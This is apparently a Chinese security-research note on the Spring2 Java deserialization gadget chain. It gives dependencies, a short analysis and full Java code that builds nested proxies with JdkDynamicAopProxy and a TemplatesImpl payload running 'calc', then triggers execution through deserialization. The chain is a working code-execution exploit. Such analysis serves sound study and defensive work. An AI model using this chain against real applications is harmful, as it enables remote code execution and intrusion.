参考:https://ch1e.cn/post/spring-xi-lie-fan-xu-lie-hua-lian/#%E5%8F%82%E8%80%83
依赖
JDK8u66
<dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>4.1.4.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>4.1.4.RELEASE</version> </dependency>
|
分析
和spring1基本一样,只是将ObjectFactoryDelegatingInvocationHandler替换为JdkDynamicAopProxy。
这个类实现了InvocationHandler。
获取到Templates#getOutputProperties
后走JdkDynamicAopProxy#invoke
。
这里面存在方法调用,target稍微看一下就知道任意可控。
代码实现
第一个代理,和spring1一样,完全没动
public static Object proxy1() throws Exception{ Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Class<?> methodInvokeTypeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
HashMap<Object, Object> hashMap = new HashMap(); hashMap.put("getType",proxy2()); Constructor<?> constructor = aClass.getDeclaredConstructors()[0]; constructor.setAccessible(true); Object handler = constructor.newInstance(Target.class, hashMap); Object proxy = Proxy.newProxyInstance(methodInvokeTypeProviderClass.getClassLoader(), methodInvokeTypeProviderClass.getInterfaces(),(InvocationHandler) handler); return proxy; }
|
第二个代理,handler换成JdkDynamicAopProxy。
public static Object proxy2() throws Exception{ Class<?> jdkDynamicAopProxy = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Object handler = Util.createWithoutConstructor(jdkDynamicAopProxy);
AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(getTemplateImpl("calc")); setFinalFieldValue(handler,"advised",advisedSupport);
Class<?> typeInterface = Class.forName("java.lang.reflect.Type"); Object proxy = Proxy.newProxyInstance(typeInterface.getClassLoader(),new Class[]{typeInterface,Templates.class},(InvocationHandler) handler); return proxy;
}
|
入口,和spring1一样。
public static void main(String[] args) throws Exception{
Class<?> methodInvokeTypeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); Object invokeTypeProvider = Util.createWithoutConstructor(methodInvokeTypeProviderClass); Object proxy1 = proxy1(); setFinalFieldValue(invokeTypeProvider,"provider",proxy1); setFinalFieldValue(invokeTypeProvider,"methodName","getOutputProperties"); Util.unserialize(Util.serialize(invokeTypeProvider));
}
|